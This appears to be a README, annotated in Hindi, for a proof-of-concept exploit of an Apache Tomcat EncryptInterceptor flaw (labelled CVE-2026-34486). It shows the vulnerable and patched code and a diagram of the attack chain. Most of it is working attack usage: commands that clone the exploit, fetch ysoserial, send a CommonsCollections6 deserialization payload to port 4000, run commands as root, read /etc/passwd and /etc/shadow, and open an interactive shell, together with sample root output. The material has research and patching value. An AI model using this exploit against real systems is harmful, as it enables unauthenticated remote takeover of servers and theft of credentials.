// EncryptInterceptor.java — भेद्य संस्करण
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // डिक्रिप्टेड संदेश को प्रोसेस करें...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // केवल त्रुटि लॉग करता है
    }
    super.messageReceived(msg);  // ← बग: डिक्रिप्शन विफलता के बाद भी कच्चे बाइट्स आगे भेजे जाते हैं
}

Attacker  ──TCP:4000──►  NioReceiver (no auth)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← only log trace
                      super.messageReceived(msg)                ← BUG: raw bytes pass through
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserialization triggered
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE as root  🔴

// EncryptInterceptor.java — पैच किया गया संस्करण
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // प्रोसेस करें...
        super.messageReceived(msg);  // ← ठीक किया गया: केवल तभी पहुंचा जाता है जब डिक्रिप्शन सफल होता है
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // संदेश त्याग दिया जाता है
    }
}

docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# सत्यापित करें
curl http://localhost:8080

# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (Tribes लाइब्रेरी के लिए)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# सत्यापित करें
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# आउटपुट: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

-t, --target      लक्ष्य IP (डिफ़ॉल्ट: 127.0.0.1)
-p, --port        Tribes पोर्ट (डिफ़ॉल्ट: 4000)
    --http-port   आउटपुट पुनर्प्राप्ति के लिए HTTP पोर्ट (डिफ़ॉल्ट: 8080)
-c, --command     कमांड सीधे निष्पादित करें (कोई शेल सुविधाएँ नहीं)
    --rce         कमांड निष्पादित करें और HTTP के माध्यम से आउटपुट प्राप्त करें
    --shell       इंटरैक्टिव शेल मोड
-g, --gadget      गैजेट श्रृंखला (डिफ़ॉल्ट: CommonsCollections6)
    --ysoserial   ysoserial jar का पथ
    --tomcat-lib  Tomcat lib निर्देशिका का पथ

$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] TribesClient.java संकलित किया जा रहा है ...
[+] सफलतापूर्वक संकलित
[*] CommonsCollections6 पेलोड उत्पन्न किया जा रहा है ...
[+] पेलोड: 1361 बाइट्स
[*] Tribes फ्रेम भेजा जा रहा है → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] फ्रेम भेजा गया!
[*] परिणाम प्राप्त किया जा रहा है: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher